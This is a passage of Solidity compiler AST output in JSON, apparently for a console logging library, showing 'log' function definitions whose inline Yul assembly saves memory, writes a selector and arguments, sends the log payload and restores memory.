,"nodeType":"YulFunctionCall","src":"234869:11:22"},"variableNames":[{"name":"m0","nativeSrc":"234863:2:22","nodeType":"YulIdentifier","src":"234863:2:22"}]},{"nativeSrc":"234893:17:22","nodeType":"YulAssignment","src":"234893:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"234905:4:22","nodeType":"YulLiteral","src":"234905:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"234899:5:22","nodeType":"YulIdentifier","src":"234899:5:22"},"nativeSrc":"234899:11:22","nodeType":"YulFunctionCall","src":"234899:11:22"},"variableNames":[{"name":"m1","nativeSrc":"234893:2:22","nodeType":"YulIdentifier","src":"234893:2:22"}]},{"nativeSrc":"234923:17:22","nodeType":"YulAssignment","src":"234923:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"234935:4:22","nodeType":"YulLiteral","src":"234935:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"234929:5:22","nodeType":"YulIdentifier","src":"234929:5:22"},"nativeSrc":"234929:11:22","nodeType":"YulFunctionCall","src":"234929:11:22"},"variableNames":[{"name":"m2","nativeSrc":"234923:2:22","nodeType":"YulIdentifier","src":"234923:2:22"}]},{"nativeSrc":"234953:17:22","nodeType":"YulAssignment","src":"234953:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"234965:4:22","nodeType":"YulLiteral","src":"234965:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"234959:5:22","nodeType":"YulIdentifier","src":"234959:5:22"},"nativeSrc":"234959:11:22","nodeType":"YulFunctionCall","src":"234959:11:22"},"variableNames":[{"name":"m3","nativeSrc":"234953:2:22","nodeType":"YulIdentifier","src":"234953:2:22"}]},{"nativeSrc":"234983:17:22","nodeType":"YulAssignment","src":"234983:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"234995:4:22","nodeType":"YulLiteral","src":"234995:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"234989:5:22","nodeType":"YulIdentifier","src":"234989:5:22"},"nativeSrc":"234989:11:22","nodeType":"YulFunctionCall","src":"234989:11:22"},"variableNames":[{"name":"m4","nativeSrc":"234983:2:22","nodeType":"YulIdentifier","src":"234983:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"235084:4:22","nodeType":"YulLiteral","src":"235084:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"235090:10:22","nodeType":"YulLiteral","src":"235090:10:22","type":"","value":"0x5abd992a"}],"functionName":{"name":"mstore","nativeSrc":"235077:6:22","nodeType":"YulIdentifier","src":"235077:6:22"},"nativeSrc":"235077:24:22","nodeType":"YulFunctionCall","src":"235077:24:22"},"nativeSrc":"235077:24:22","nodeType":"YulExpressionStatement","src":"235077:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"235121:4:22","nodeType":"YulLiteral","src":"235121:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"235127:2:22","nodeType":"YulIdentifier","src":"235127:2:22"}],"functionName":{"name":"mstore","nativeSrc":"235114:6:22","nodeType":"YulIdentifier","src":"235114:6:22"},"nativeSrc":"235114:16:22","nodeType":"YulFunctionCall","src":"235114:16:22"},"nativeSrc":"235114:16:22","nodeType":"YulExpressionStatement","src":"235114:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"235150:4:22","nodeType":"YulLiteral","src":"235150:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"235156:2:22","nodeType":"YulIdentifier","src":"235156:2:22"}],"functionName":{"name":"mstore","nativeSrc":"235143:6:22","nodeType":"YulIdentifier","src":"235143:6:22"},"nativeSrc":"235143:16:22","nodeType":"YulFunctionCall","src":"235143:16:22"},"nativeSrc":"235143:16:22","nodeType":"YulExpressionStatement","src":"235143:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"235179:4:22","nodeType":"YulLiteral","src":"235179:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"235185:2:22","nodeType":"YulIdentifier","src":"235185:2:22"}],"functionName":{"name":"mstore","nativeSrc":"235172:6:22","nodeType":"YulIdentifier","src":"235172:6:22"},"nativeSrc":"235172:16:22","nodeType":"YulFunctionCall","src":"235172:16:22"},"nativeSrc":"235172:16:22","nodeType":"YulExpressionStatement","src":"235172:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"235208:4:22","nodeType":"YulLiteral","src":"235208:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"235214:2:22","nodeType":"YulIdentifier","src":"235214:2:22"}],"functionName":{"name":"mstore","nativeSrc":"235201:6:22","nodeType":"YulIdentifier","src":"235201:6:22"},"nativeSrc":"235201:16:22","nodeType":"YulFunctionCall","src":"235201:16:22"},"nativeSrc":"235201:16:22","nodeType":"YulExpressionStatement","src":"235201:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41496,"isOffset":false,"isSlot":false,"src":"234863:2:22","valueSize":1},{"declaration":41499,"isOffset":false,"isSlot":false,"src":"234893:2:22","valueSize":1},{"declaration":41502,"isOffset":false,"isSlot":false,"src":"234923:2:22","valueSize":1},{"declaration":41505,"isOffset":false,"isSlot":false,"src":"234953:2:22","valueSize":1},{"declaration":41508,"isOffset":false,"isSlot":false,"src":"234983:2:22","valueSize":1},{"declaration":41486,"isOffset":false,"isSlot":false,"src":"235127:2:22","valueSize":1},{"declaration":41488,"isOffset":false,"isSlot":false,"src":"235156:2:22","valueSize":1},{"declaration":41490,"isOffset":false,"isSlot":false,"src":"235185:2:22","valueSize":1},{"declaration":41492,"isOffset":false,"isSlot":false,"src":"235214:2:22","valueSize":1}],"id":41510,"nodeType":"InlineAssembly","src":"234840:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41512,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"235252:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41513,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"235258:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41511,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"235236:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41514,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"235236:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41515,"nodeType":"ExpressionStatement","src":"235236:27:22"},{"AST":{"nativeSrc":"235282:156:22","nodeType":"YulBlock","src":"235282:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"235303:4:22","nodeType":"YulLiteral","src":"235303:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"235309:2:22","nodeType":"YulIdentifier","src":"235309:2:22"}],"functionName":{"name":"mstore","nativeSrc":"235296:6:22","nodeType":"YulIdentifier","src":"235296:6:22"},"nativeSrc":"235296:16:22","nodeType":"YulFunctionCall","src":"235296:16:22"},"nativeSrc":"235296:16:22","nodeType":"YulExpressionStatement","src":"235296:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"235332:4:22","nodeType":"YulLiteral","src":"235332:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"235338:2:22","nodeType":"YulIdentifier","src":"235338:2:22"}],"functionName":{"name":"mstore","nativeSrc":"235325:6:22","nodeType":"YulIdentifier","src":"235325:6:22"},"nativeSrc":"235325:16:22","nodeType":"YulFunctionCall","src":"235325:16:22"},"nativeSrc":"235325:16:22","nodeType":"YulExpressionStatement","src":"235325:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"235361:4:22","nodeType":"YulLiteral","src":"235361:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"235367:2:22","nodeType":"YulIdentifier","src":"235367:2:22"}],"functionName":{"name":"mstore","nativeSrc":"235354:6:22","nodeType":"YulIdentifier","src":"235354:6:22"},"nativeSrc":"235354:16:22","nodeType":"YulFunctionCall","src":"235354:16:22"},"nativeSrc":"235354:16:22","nodeType":"YulExpressionStatement","src":"235354:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"235390:4:22","nodeType":"YulLiteral","src":"235390:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"235396:2:22","nodeType":"YulIdentifier","src":"235396:2:22"}],"functionName":{"name":"mstore","nativeSrc":"235383:6:22","nodeType":"YulIdentifier","src":"235383:6:22"},"nativeSrc":"235383:16:22","nodeType":"YulFunctionCall","src":"235383:16:22"},"nativeSrc":"235383:16:22","nodeType":"YulExpressionStatement","src":"235383:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"235419:4:22","nodeType":"YulLiteral","src":"235419:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"235425:2:22","nodeType":"YulIdentifier","src":"235425:2:22"}],"functionName":{"name":"mstore","nativeSrc":"235412:6:22","nodeType":"YulIdentifier","src":"235412:6:22"},"nativeSrc":"235412:16:22","nodeType":"YulFunctionCall","src":"235412:16:22"},"nativeSrc":"235412:16:22","nodeType":"YulExpressionStatement","src":"235412:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41496,"isOffset":false,"isSlot":false,"src":"235309:2:22","valueSize":1},{"declaration":41499,"isOffset":false,"isSlot":false,"src":"235338:2:22","valueSize":1},{"declaration":41502,"isOffset":false,"isSlot":false,"src":"235367:2:22","valueSize":1},{"declaration":41505,"isOffset":false,"isSlot":false,"src":"235396:2:22","valueSize":1},{"declaration":41508,"isOffset":false,"isSlot":false,"src":"235425:2:22","valueSize":1}],"id":41516,"nodeType":"InlineAssembly","src":"235273:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"234667:3:22","parameters":{"id":41493,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41486,"mutability":"mutable","name":"p0","nameLocation":"234679:2:22","nodeType":"VariableDeclaration","scope":41518,"src":"234671:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41485,"name":"uint256","nodeType":"ElementaryTypeName","src":"234671:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41488,"mutability":"mutable","name":"p1","nameLocation":"234691:2:22","nodeType":"VariableDeclaration","scope":41518,"src":"234683:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41487,"name":"address","nodeType":"ElementaryTypeName","src":"234683:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41490,"mutability":"mutable","name":"p2","nameLocation":"234700:2:22","nodeType":"VariableDeclaration","scope":41518,"src":"234695:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41489,"name":"bool","nodeType":"ElementaryTypeName","src":"234695:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41492,"mutability":"mutable","name":"p3","nameLocation":"234712:2:22","nodeType":"VariableDeclaration","scope":41518,"src":"234704:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41491,"name":"uint256","nodeType":"ElementaryTypeName","src":"234704:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"234670:45:22"},"returnParameters":{"id":41494,"nodeType":"ParameterList","parameters":[],"src":"234730:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41558,"nodeType":"FunctionDefinition","src":"235450:1334:22","nodes":[],"body":{"id":41557,"nodeType":"Block","src":"235522:1262:22","nodes":[],"statements":[{"assignments":[41530],"declarations":[{"constant":false,"id":41530,"mutability":"mutable","name":"m0","nameLocation":"235540:2:22","nodeType":"VariableDeclaration","scope":41557,"src":"235532:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41529,"name":"bytes32","nodeType":"ElementaryTypeName","src":"235532:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41531,"nodeType":"VariableDeclarationStatement","src":"235532:10:22"},{"assignments":[41533],"declarations":[{"constant":false,"id":41533,"mutability":"mutable","name":"m1","nameLocation":"235560:2:22","nodeType":"VariableDeclaration","scope":41557,"src":"235552:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41532,"name":"bytes32","nodeType":"ElementaryTypeName","src":"235552:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41534,"nodeType":"VariableDeclarationStatement","src":"235552:10:22"},{"assignments":[41536],"declarations":[{"constant":false,"id":41536,"mutability":"mutable","name":"m2","nameLocation":"235580:2:22","nodeType":"VariableDeclaration","scope":41557,"src":"235572:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41535,"name":"bytes32","nodeType":"ElementaryTypeName","src":"235572:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41537,"nodeType":"VariableDeclarationStatement","src":"235572:10:22"},{"assignments":[41539],"declarations":[{"constant":false,"id":41539,"mutability":"mutable","name":"m3","nameLocation":"235600:2:22","nodeType":"VariableDeclaration","scope":41557,"src":"235592:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41538,"name":"bytes32","nodeType":"ElementaryTypeName","src":"235592:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41540,"nodeType":"VariableDeclarationStatement","src":"235592:10:22"},{"assignments":[41542],"declarations":[{"constant":false,"id":41542,"mutability":"mutable","name":"m4","nameLocation":"235620:2:22","nodeType":"VariableDeclaration","scope":41557,"src":"235612:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41541,"name":"bytes32","nodeType":"ElementaryTypeName","src":"235612:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41543,"nodeType":"VariableDeclarationStatement","src":"235612:10:22"},{"assignments":[41545],"declarations":[{"constant":false,"id":41545,"mutability":"mutable","name":"m5","nameLocation":"235640:2:22","nodeType":"VariableDeclaration","scope":41557,"src":"235632:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41544,"name":"bytes32","nodeType":"ElementaryTypeName","src":"235632:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41546,"nodeType":"VariableDeclarationStatement","src":"235632:10:22"},{"assignments":[41548],"declarations":[{"constant":false,"id":41548,"mutability":"mutable","name":"m6","nameLocation":"235660:2:22","nodeType":"VariableDeclaration","scope":41557,"src":"235652:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41547,"name":"bytes32","nodeType":"ElementaryTypeName","src":"235652:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41549,"nodeType":"VariableDeclarationStatement","src":"235652:10:22"},{"AST":{"nativeSrc":"235681:828:22","nodeType":"YulBlock","src":"235681:828:22","statements":[{"body":{"nativeSrc":"235724:313:22","nodeType":"YulBlock","src":"235724:313:22","statements":[{"nativeSrc":"235742:15:22","nodeType":"YulVariableDeclaration","src":"235742:15:22","value":{"kind":"number","nativeSrc":"235756:1:22","nodeType":"YulLiteral","src":"235756:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"235746:6:22","nodeType":"YulTypedName","src":"235746:6:22","type":""}]},{"body":{"nativeSrc":"235827:40:22","nodeType":"YulBlock","src":"235827:40:22","statements":[{"body":{"nativeSrc":"235856:9:22","nodeType":"YulBlock","src":"235856:9:22","statements":[{"nativeSrc":"235858:5:22","nodeType":"YulBreak","src":"235858:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"235844:6:22","nodeType":"YulIdentifier","src":"235844:6:22"},{"name":"w","nativeSrc":"235852:1:22","nodeType":"YulIdentifier","src":"235852:1:22"}],"functionName":{"name":"byte","nativeSrc":"235839:4:22","nodeType":"YulIdentifier","src":"235839:4:22"},"nativeSrc":"235839:15:22","nodeType":"YulFunctionCall","src":"235839:15:22"}],"functionName":{"name":"iszero","nativeSrc":"235832:6:22","nodeType":"YulIdentifier","src":"235832:6:22"},"nativeSrc":"235832:23:22","nodeType":"YulFunctionCall","src":"235832:23:22"},"nativeSrc":"235829:36:22","nodeType":"YulIf","src":"235829:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"235784:6:22","nodeType":"YulIdentifier","src":"235784:6:22"},{"kind":"number","nativeSrc":"235792:4:22","nodeType":"YulLiteral","src":"235792:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"235781:2:22","nodeType":"YulIdentifier","src":"235781:2:22"},"nativeSrc":"235781:16:22","nodeType":"YulFunctionCall","src":"235781:16:22"},"nativeSrc":"235774:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"235798:28:22","nodeType":"YulBlock","src":"235798:28:22","statements":[{"nativeSrc":"235800:24:22","nodeType":"YulAssignment","src":"235800:24:22","value":{"arguments":[{"name":"length","nativeSrc":"235814:6:22","nodeType":"YulIdentifier","src":"235814:6:22"},{"kind":"number","nativeSrc":"235822:1:22","nodeType":"YulLiteral","src":"235822:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"235810:3:22","nodeType":"YulIdentifier","src":"235810:3:22"},"nativeSrc":"235810:14:22","nodeType":"YulFunctionCall","src":"235810:14:22"},"variableNames":[{"name":"length","nativeSrc":"235800:6:22","nodeType":"YulIdentifier","src":"235800:6:22"}]}]},"pre":{"nativeSrc":"235778:2:22","nodeType":"YulBlock","src":"235778:2:22","statements":[]},"src":"235774:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"235891:3:22","nodeType":"YulIdentifier","src":"235891:3:22"},{"name":"length","nativeSrc":"235896:6:22","nodeType":"YulIdentifier","src":"235896:6:22"}],"functionName":{"name":"mstore","nativeSrc":"235884:6:22","nodeType":"YulIdentifier","src":"235884:6:22"},"nativeSrc":"235884:19:22","nodeType":"YulFunctionCall","src":"235884:19:22"},"nativeSrc":"235884:19:22","nodeType":"YulExpressionStatement","src":"235884:19:22"},{"nativeSrc":"235920:37:22","nodeType":"YulVariableDeclaration","src":"235920:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"235937:3:22","nodeType":"YulLiteral","src":"235937:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"235946:1:22","nodeType":"YulLiteral","src":"235946:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"235949:6:22","nodeType":"YulIdentifier","src":"235949:6:22"}],"functionName":{"name":"shl","nativeSrc":"235942:3:22","nodeType":"YulIdentifier","src":"235942:3:22"},"nativeSrc":"235942:14:22","nodeType":"YulFunctionCall","src":"235942:14:22"}],"functionName":{"name":"sub","nativeSrc":"235933:3:22","nodeType":"YulIdentifier","src":"235933:3:22"},"nativeSrc":"235933:24:22","nodeType":"YulFunctionCall","src":"235933:24:22"},"variables":[{"name":"shift","nativeSrc":"235924:5:22","nodeType":"YulTypedName","src":"235924:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"235985:3:22","nodeType":"YulIdentifier","src":"235985:3:22"},{"kind":"number","nativeSrc":"235990:4:22","nodeType":"YulLiteral","src":"235990:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"235981:3:22","nodeType":"YulIdentifier","src":"235981:3:22"},"nativeSrc":"235981:14:22","nodeType":"YulFunctionCall","src":"235981:14:22"},{"arguments":[{"name":"shift","nativeSrc":"236001:5:22","nodeType":"YulIdentifier","src":"236001:5:22"},{"arguments":[{"name":"shift","nativeSrc":"236012:5:22","nodeType":"YulIdentifier","src":"236012:5:22"},{"name":"w","nativeSrc":"236019:1:22","nodeType":"YulIdentifier","src":"236019:1:22"}],"functionName":{"name":"shr","nativeSrc":"236008:3:22","nodeType":"YulIdentifier","src":"236008:3:22"},"nativeSrc":"236008:13:22","nodeType":"YulFunctionCall","src":"236008:13:22"}],"functionName":{"name":"shl","nativeSrc":"235997:3:22","nodeType":"YulIdentifier","src":"235997:3:22"},"nativeSrc":"235997:25:22","nodeType":"YulFunctionCall","src":"235997:25:22"}],"functionName":{"name":"mstore","nativeSrc":"235974:6:22","nodeType":"YulIdentifier","src":"235974:6:22"},"nativeSrc":"235974:49:22","nodeType":"YulFunctionCall","src":"235974:49:22"},"nativeSrc":"235974:49:22","nodeType":"YulExpressionStatement","src":"235974:49:22"}]},"name":"writeString","nativeSrc":"235695:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"235716:3:22","nodeType":"YulTypedName","src":"235716:3:22","type":""},{"name":"w","nativeSrc":"235721:1:22","nodeType":"YulTypedName","src":"235721:1:22","type":""}],"src":"235695:342:22"},{"nativeSrc":"236050:17:22","nodeType":"YulAssignment","src":"236050:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"236062:4:22","nodeType":"YulLiteral","src":"236062:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"236056:5:22","nodeType":"YulIdentifier","src":"236056:5:22"},"nativeSrc":"236056:11:22","nodeType":"YulFunctionCall","src":"236056:11:22"},"variableNames":[{"name":"m0","nativeSrc":"236050:2:22","nodeType":"YulIdentifier","src":"236050:2:22"}]},{"nativeSrc":"236080:17:22","nodeType":"YulAssignment","src":"236080:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"236092:4:22","nodeType":"YulLiteral","src":"236092:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"236086:5:22","nodeType":"YulIdentifier","src":"236086:5:22"},"nativeSrc":"236086:11:22","nodeType":"YulFunctionCall","src":"236086:11:22"},"variableNames":[{"name":"m1","nativeSrc":"236080:2:22","nodeType":"YulIdentifier","src":"236080:2:22"}]},{"nativeSrc":"236110:17:22","nodeType":"YulAssignment","src":"236110:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"236122:4:22","nodeType":"YulLiteral","src":"236122:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"236116:5:22","nodeType":"YulIdentifier","src":"236116:5:22"},"nativeSrc":"236116:11:22","nodeType":"YulFunctionCall","src":"236116:11:22"},"variableNames":[{"name":"m2","nativeSrc":"236110:2:22","nodeType":"YulIdentifier","src":"236110:2:22"}]},{"nativeSrc":"236140:17:22","nodeType":"YulAssignment","src":"236140:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"236152:4:22","nodeType":"YulLiteral","src":"236152:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"236146:5:22","nodeType":"YulIdentifier","src":"236146:5:22"},"nativeSrc":"236146:11:22","nodeType":"YulFunctionCall","src":"236146:11:22"},"variableNames":[{"name":"m3","nativeSrc":"236140:2:22","nodeType":"YulIdentifier","src":"236140:2:22"}]},{"nativeSrc":"236170:17:22","nodeType":"YulAssignment","src":"236170:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"236182:4:22","nodeType":"YulLiteral","src":"236182:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"236176:5:22","nodeType":"YulIdentifier","src":"236176:5:22"},"nativeSrc":"236176:11:22","nodeType":"YulFunctionCall","src":"236176:11:22"},"variableNames":[{"name":"m4","nativeSrc":"236170:2:22","nodeType":"YulIdentifier","src":"236170:2:22"}]},{"nativeSrc":"236200:17:22","nodeType":"YulAssignment","src":"236200:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"236212:4:22","nodeType":"YulLiteral","src":"236212:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"236206:5:22","nodeType":"YulIdentifier","src":"236206:5:22"},"nativeSrc":"236206:11:22","nodeType":"YulFunctionCall","src":"236206:11:22"},"variableNames":[{"name":"m5","nativeSrc":"236200:2:22","nodeType":"YulIdentifier","src":"236200:2:22"}]},{"nativeSrc":"236230:17:22","nodeType":"YulAssignment","src":"236230:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"236242:4:22","nodeType":"YulLiteral","src":"236242:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"236236:5:22","nodeType":"YulIdentifier","src":"236236:5:22"},"nativeSrc":"236236:11:22","nodeType":"YulFunctionCall","src":"236236:11:22"},"variableNames":[{"name":"m6","nativeSrc":"236230:2:22","nodeType":"YulIdentifier","src":"236230:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236330:4:22","nodeType":"YulLiteral","src":"236330:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"236336:10:22","nodeType":"YulLiteral","src":"236336:10:22","type":"","value":"0x90fb06aa"}],"functionName":{"name":"mstore","nativeSrc":"236323:6:22","nodeType":"YulIdentifier","src":"236323:6:22"},"nativeSrc":"236323:24:22","nodeType":"YulFunctionCall","src":"236323:24:22"},"nativeSrc":"236323:24:22","nodeType":"YulExpressionStatement","src":"236323:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236367:4:22","nodeType":"YulLiteral","src":"236367:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"236373:2:22","nodeType":"YulIdentifier","src":"236373:2:22"}],"functionName":{"name":"mstore","nativeSrc":"236360:6:22","nodeType":"YulIdentifier","src":"236360:6:22"},"nativeSrc":"236360:16:22","nodeType":"YulFunctionCall","src":"236360:16:22"},"nativeSrc":"236360:16:22","nodeType":"YulExpressionStatement","src":"236360:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236396:4:22","nodeType":"YulLiteral","src":"236396:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"236402:2:22","nodeType":"YulIdentifier","src":"236402:2:22"}],"functionName":{"name":"mstore","nativeSrc":"236389:6:22","nodeType":"YulIdentifier","src":"236389:6:22"},"nativeSrc":"236389:16:22","nodeType":"YulFunctionCall","src":"236389:16:22"},"nativeSrc":"236389:16:22","nodeType":"YulExpressionStatement","src":"236389:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236425:4:22","nodeType":"YulLiteral","src":"236425:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"236431:2:22","nodeType":"YulIdentifier","src":"236431:2:22"}],"functionName":{"name":"mstore","nativeSrc":"236418:6:22","nodeType":"YulIdentifier","src":"236418:6:22"},"nativeSrc":"236418:16:22","nodeType":"YulFunctionCall","src":"236418:16:22"},"nativeSrc":"236418:16:22","nodeType":"YulExpressionStatement","src":"236418:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236454:4:22","nodeType":"YulLiteral","src":"236454:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"236460:4:22","nodeType":"YulLiteral","src":"236460:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"236447:6:22","nodeType":"YulIdentifier","src":"236447:6:22"},"nativeSrc":"236447:18:22","nodeType":"YulFunctionCall","src":"236447:18:22"},"nativeSrc":"236447:18:22","nodeType":"YulExpressionStatement","src":"236447:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236490:4:22","nodeType":"YulLiteral","src":"236490:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"236496:2:22","nodeType":"YulIdentifier","src":"236496:2:22"}],"functionName":{"name":"writeString","nativeSrc":"236478:11:22","nodeType":"YulIdentifier","src":"236478:11:22"},"nativeSrc":"236478:21:22","nodeType":"YulFunctionCall","src":"236478:21:22"},"nativeSrc":"236478:21:22","nodeType":"YulExpressionStatement","src":"236478:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41530,"isOffset":false,"isSlot":false,"src":"236050:2:22","valueSize":1},{"declaration":41533,"isOffset":false,"isSlot":false,"src":"236080:2:22","valueSize":1},{"declaration":41536,"isOffset":false,"isSlot":false,"src":"236110:2:22","valueSize":1},{"declaration":41539,"isOffset":false,"isSlot":false,"src":"236140:2:22","valueSize":1},{"declaration":41542,"isOffset":false,"isSlot":false,"src":"236170:2:22","valueSize":1},{"declaration":41545,"isOffset":false,"isSlot":false,"src":"236200:2:22","valueSize":1},{"declaration":41548,"isOffset":false,"isSlot":false,"src":"236230:2:22","valueSize":1},{"declaration":41520,"isOffset":false,"isSlot":false,"src":"236373:2:22","valueSize":1},{"declaration":41522,"isOffset":false,"isSlot":false,"src":"236402:2:22","valueSize":1},{"declaration":41524,"isOffset":false,"isS